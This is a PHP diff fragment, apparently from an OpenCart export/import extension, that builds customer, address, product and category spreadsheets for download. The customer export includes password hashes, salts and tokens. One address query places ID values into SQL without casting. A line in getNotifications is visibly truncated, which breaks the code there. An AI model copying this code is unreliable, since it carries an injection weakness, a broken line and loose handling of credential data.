+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('code'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'customer_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'store_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'firstname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'lastname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'email';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'telephone';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'fax';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'password';
+ if ($exist_salt) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'salt';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'cart';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'wishlist';
+ $data[$j++] = 'newsletter';
+ if ($exist_custom_field) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'custom_field';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'ip';
+ $data[$j++] = 'status';
+ if ($exist_approved) {
+ $data[$j++] = 'approved';
+ }
+ if ($exist_safe) {
+ $data[$j++] = 'safe';
+ }
+ if ($exist_token) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'token';
+ }
+ if ($exist_code) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'code';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_added';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual customers data
+ $i += 1;
+ $j = 1;
+ $customers = $this->getCustomers( $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $offset, $rows, $min_id, $max_id );
+ $len = count($customers);
+ $min_id = ($len>0) ? $customers[0]['customer_id'] : 0;
+ $max_id = ($len>0) ? $customers[$len-1]['customer_id'] : 0;
+ foreach ($customers as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['customer_id'];
+ $data[$j++] = $row['customer_group'];
+ $data[$j++] = $row['store_id'];
+ $data[$j++] = $row['firstname'];
+ $data[$j++] = $row['lastname'];
+ $data[$j++] = $row['email'];
+ $data[$j++] = $row['telephone'];
+ $data[$j++] = $row['fax'];
+ $data[$j++] = $row['password'];
+ if ($exist_salt) {
+ $data[$j++] = $row['salt'];
+ }
+ $data[$j++] = $row['cart'];
+ $data[$j++] = $row['wishlist'];
+ $data[$j++] = ($row['newsletter']==0) ? 'no' : 'yes';
+ if ($exist_custom_field) {
+ $data[$j++] = $row['custom_field'];
+ }
+ $data[$j++] = $row['ip'];
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ if ($exist_approved) {
+ $data[$j++] = ($row['approved']==0) ? 'false' : 'true';
+ }
+ if ($exist_safe) {
+ $data[$j++] = ($row['safe']==0) ? 'false' : 'true';
+ }
+ if ($exist_token) {
+ $data[$j++] = $row['token'];
+ }
+ if ($exist_code) {
+ $data[$j++] = $row['code'];
+ }
+ $data[$j++] = $row['date_added'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAddresses( $min_id, $max_id ) {
+ // DB query for getting the addresses
+ $sql = "SELECT a.*, c.name AS country, z.name AS zone, (cu.address_id=a.address_id) AS `default` FROM `".DB_PREFIX."address` a ";
+ $sql .= "INNER JOIN `".DB_PREFIX."country` c ON c.country_id=a.country_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."zone` z ON z.country_id=a.country_id AND z.zone_id=a.zone_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer` cu ON cu.customer_id=a.customer_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE a.customer_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= " ORDER BY a.customer_id ASC, a.address_id ASC;";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateAddressesWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Some Opencart 1.5.x versions also have company_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+
+ // Some Opencart 1.5.x versions also have tax_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+
+ // Opencart 2.x versions have custom_field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('firstname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('lastname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('company'),30)+1);
+ if ($exist_company_id) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('company_id'),10)+1);
+ }
+ if ($exist_tax_id) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_id'),15)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('address_1'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('address_2'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('city'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('postcode'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('zone'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('country'),20)+1);
+ if ($exist_custom_field) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('custom_field'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('default'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'customer_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'firstname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'lastname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'company';
+ if ($exist_company_id) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'company_id';
+ }
+ if ($exist_tax_id) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'tax_id';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'address_1';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'address_2';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'city';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'postcode';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'zone';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'country';
+ if ($exist_custom_field) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'custom_field';
+ }
+ $data[$j++] = 'default';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual addresses data
+ $i += 1;
+ $j = 1;
+ $addresses = $this->getAddresses( $min_id, $max_id );
+ foreach ($addresses as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['customer_id'];
+ $data[$j++] = $row['firstname'];
+ $data[$j++] = $row['lastname'];
+ $data[$j++] = $row['company'];
+ if ($exist_company_id) {
+ $data[$j++] = $row['company_id'];
+ }
+ if ($exist_tax_id) {
+ $data[$j++] = $row['tax_id'];
+ }
+ $data[$j++] = $row['address_1'];
+ $data[$j++] = $row['address_2'];
+ $data[$j++] = $row['city'];
+ $data[$j++] = $row['postcode'];
+ $data[$j++] = html_entity_decode( $row['zone'], ENT_QUOTES, 'UTF-8' );
+ $data[$j++] = $row['country'];
+ if ($exist_custom_field) {
+ $data[$j++] = $row['custom_field'];
+ }
+ $data[$j++] = ($row['default']==0) ? 'no' : 'yes';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function clearSpreadsheetCache() {
+ $files = glob(DIR_CACHE . 'Spreadsheet_Excel_Writer' . '*');
+
+ if ($files) {
+ foreach ($files as $file) {
+ if (file_exists($file)) {
+ @unlink($file);
+ clearstatcache();
+ }
+ }
+ }
+ }
+
+
+ public function getMaxProductId() {
+ $query = $this->db->query( "SELECT MAX(product_id) as max_product_id FROM `".DB_PREFIX."product`" );
+ if (isset($query->row['max_product_id'])) {
+ $max_id = $query->row['max_product_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinProductId() {
+ $query = $this->db->query( "SELECT MIN(product_id) as min_product_id FROM `".DB_PREFIX."product`" );
+ if (isset($query->row['min_product_id'])) {
+ $min_id = $query->row['min_product_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountProduct() {
+ $sql = "SELECT COUNT(DISTINCT p.product_id) as count_product ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $posted_categories = $this->getPostedCategories();
+ $posted_manufacturers = $this->getPostedManufacturers();
+ if ($posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p.product_id ";
+ $sql .= "WHERE pc.category_id IN $posted_categories ";
+ }
+ if ($posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$posted_manufacturers." ";
+ }
+
+ $query = $this->db->query( $sql );
+ if (isset($query->row['count_product'])) {
+ $count = $query->row['count_product'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function getMaxCategoryId() {
+ $query = $this->db->query( "SELECT MAX(category_id) as max_category_id FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['max_category_id'])) {
+ $max_id = $query->row['max_category_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinCategoryId() {
+ $query = $this->db->query( "SELECT MIN(category_id) as min_category_id FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['min_category_id'])) {
+ $min_id = $query->row['min_category_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountCategory() {
+ $query = $this->db->query( "SELECT COUNT(category_id) as count_category FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['count_category'])) {
+ $count = $query->row['count_category'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function getMaxCustomerId() {
+ $query = $this->db->query( "SELECT MAX(customer_id) as max_customer_id FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['max_customer_id'])) {
+ $max_id = $query->row['max_customer_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinCustomerId() {
+ $query = $this->db->query( "SELECT MIN(customer_id) as min_customer_id FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['min_customer_id'])) {
+ $min_id = $query->row['min_customer_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountCustomer() {
+ $query = $this->db->query( "SELECT COUNT(customer_id) as count_customer FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['count_customer'])) {
+ $count = $query->row['count_customer'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function download( $export_type, $offset=null, $rows=null, $min_id=null, $max_id=null) {
+ // we use our own error handler
+ global $registry;
+ $registry = $this->registry;
+ set_error_handler('error_handler_for_export_import',E_ALL);
+ register_shutdown_function('fatal_error_shutdown_handler_for_export_import');
+
+ try {
+ if (version_compare(phpversion(), '7.2.', '<')) {
+ // php version isn't high enough
+ throw new Exception( $this->language->get( 'error_php_version' ) );
+ }
+
+ // enable auto_load from system/library/export_import
+ require( DIR_SYSTEM.'library/export_import/vendor/autoload.php' );
+
+ // Use the PhoOffice/PhpSpreadsheet package from https://github.com/PHPOffice/PhpSpreadsheet
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // find out whether all data is to be downloaded
+ $all = !isset($offset) && !isset($rows) && !isset($min_id) && !isset($max_id);
+
+ $this->posted_categories = $this->getPostedCategories();
+ $this->posted_manufacturers = $this->getPostedManufacturers();
+
+ // set appropriate timeout limit
+ set_time_limit( 1800 );
+
+ $languages = $this->getLanguages();
+ $default_language_id = $this->getDefaultLanguageId();
+
+ // create a new workbook
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // set some default styles
+ $workbook->getDefaultStyle()->getFont()->setName('Arial');
+ $workbook->getDefaultStyle()->getFont()->setSize(10);
+ //$workbook->getDefaultStyle()->getAlignment()->setIndent(0.5);
+ $workbook->getDefaultStyle()->getAlignment()->setHorizontal(PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT);
+ $workbook->getDefaultStyle()->getAlignment()->setVertical(PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER);
+ $workbook->getDefaultStyle()->getNumberFormat()->setFormatCode(PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_GENERAL);
+
+ // pre-define some commonly used styles
+ $box_format = array(
+ 'fill' => array(
+ 'fillType' => PhpOffice\PhpSpreadsheet\Style\Fill::FILL_SOLID,
+ 'startColor' => array( 'rgb' => 'F0F0F0'),
+ 'endColor' => array( 'rgb' => 'F0F0F0')
+ ),
+ 'borders' => array(
+ 'right' => array(
+ 'borderStyle' => PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN,
+ 'color' => array('rgb' => 'F0F0F0')
+ )
+ )
+ /*
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT,
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ )
+ */
+ );
+ $text_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT
+ ),
+ /*
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT,
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ )
+ */
+ );
+ $price_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => '######0.00'
+ ),
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_RIGHT,
+ /*
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ */
+ )
+ );
+ $weight_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => '##0.00'
+ ),
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_RIGHT,
+ /*
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ */
+ )
+ );
+
+ // create the worksheets
+ $worksheet_index = 0;
+ switch ($export_type) {
+ case 'c':
+ // creating the Categories worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Categories' );
+ $this->populateCategoriesWorksheet( $worksheet, $languages, $box_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the CategoryFilters worksheet
+ if ($this->existFilter()) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'CategoryFilters' );
+ $this->populateCategoryFiltersWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+
+ // creating the CategorySEOKeywords worksheet
+ if ($this->use_table_seo_url) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'CategorySEOKeywords' );
+ $this->populateCategorySEOKeywordsWorksheet( $worksheet, $languages, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+ break;
+
+ case 'p':
+ // creating the Products worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Products' );
+ $this->populateProductsWorksheet( $worksheet, $languages, $default_language_id, $price_format, $box_format, $weight_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the AdditionalImages worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'AdditionalImages' );
+ $this->populateAdditionalImagesWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Specials worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Specials' );
+ $this->populateSpecialsWorksheet( $worksheet, $default_language_id, $price_format, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Discounts worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Discounts' );
+ $this->populateDiscountsWorksheet( $worksheet, $default_language_id, $price_format, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Rewards worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Rewards' );
+ $this->populateRewardsWorksheet( $worksheet, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductOptions worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductOptions' );
+ $this->populateProductOptionsWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductOptionValues worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductOptionValues' );
+ $this->populateProductOptionValuesWorksheet( $worksheet, $price_format, $box_format, $weight_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductAttributes worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductAttributes' );
+ $this->populateProductAttributesWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductFilters worksheet
+ if ($this->existFilter()) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductFilters' );
+ $this->populateProductFiltersWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+
+ // creating the ProductSEOKeywords worksheet
+ if ($this->use_table_seo_url) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductSEOKeywords' );
+ $this->populateProductSEOKeywordsWorksheet( $worksheet, $languages, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+ break;
+
+ case 'o':
+ // creating the Options worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Options' );
+ $this->populateOptionsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the OptionValues worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'OptionValues' );
+ $this->populateOptionValuesWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'a':
+ // creating the AttributeGroups worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'AttributeGroups' );
+ $this->populateAttributeGroupsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Attributes worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Attributes' );
+ $this->populateAttributesWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'f':
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ break;
+ }
+
+ // creating the FilterGroups worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'FilterGroups' );
+ $this->populateFilterGroupsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Filters worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Filters' );
+ $this->populateFiltersWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'u':
+ // creating the Customers worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Customers' );
+ $this->populateCustomersWorksheet( $worksheet, $box_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Addresses worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Addresses' );
+ $this->populateAddressesWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ default:
+ break;
+ }
+
+ $workbook->setActiveSheetIndex(0);
+
+ // redirect output to client browser
+ $datetime = date('Y-m-d');
+ switch ($export_type) {
+ case 'c':
+ $filename = 'categories-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ case 'p':
+ $filename = 'products-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ case 'o':
+ $filename = 'options-'.$datetime.'.xlsx';
+ break;
+ case 'a':
+ $filename = 'attributes-'.$datetime.'.xlsx';
+ break;
+ case 'f':
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ break;
+ }
+ $filename = 'filters-'.$datetime.'.xlsx';
+ break;
+ case 'u':
+ $filename = 'customers-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ default:
+ $filename = $datetime.'.xlsx';
+ break;
+ }
+ header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
+ header('Content-Disposition: attachment;filename="'.$filename.'"');
+ header('Cache-Control: max-age=0');
+ $objWriter = PhpOffice\PhpSpreadsheet\IOFactory::createWriter($workbook, 'Xlsx');
+ $objWriter->setPreCalculateFormulas(false);
+ $objWriter->save('php://output');
+
+ // Clear the spreadsheet caches
+ $this->clearSpreadsheetCache();
+ exit;
+
+ } catch (Exception $e) {
+ $errstr = $e->getMessage();
+ $errline = $e->getLine();
+ $errfile = $e->getFile();
+ $errno = $e->getCode();
+ $this->session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . get_class($e) . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+ return;
+ }
+ }
+
+
+ protected function curl_get_contents($url) {
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, $url);
+ curl_setopt($ch, CURLOPT_HEADER, 0);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
+ $output = curl_exec($ch);
+ curl_close($ch);
+ return $output;
+ }
+
+
+ public function getNotifications() {
+ $language_code = $this->config->get( 'config_admin_language' );
+ $result = $this->curl_get_contents("https://www.mhccorp.com/index.php?route=information/message&type=tool_export_import_".str_replace('.','_',$this->version)."&language_code=$language_code");
+ if (stripos($result,'version;
+ }
+
+
+ public function getOptionNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(option_id) AS `count` FROM `".DB_PREFIX."option_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getOptionValueNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, `name`, COUNT(option_value_id) AS `count` FROM `".DB_PREFIX."option_value_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY option_id, `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getAttributeGroupNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(attribute_group_id) AS `count` FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getAttributeNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT ag.attribute_group_id, ad.`name`, COUNT(ad.attribute_id) AS `count` FROM `".DB_PREFIX."attribute_description` ad ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=ad.attribute_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute_group` ag ON ag.attribute_group_id=a.attribute_group_id ";
+ $sql .= "WHERE ad.language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY ag.attribute_group_id, ad.`name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getFilterGroupNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(filter_group_id) AS `count` FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getFilterNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT fg.filter_group_id, fd.`name`, COUNT(fd.filter_id) AS `count` FROM `".DB_PREFIX."filter_description` fd ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=fd.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
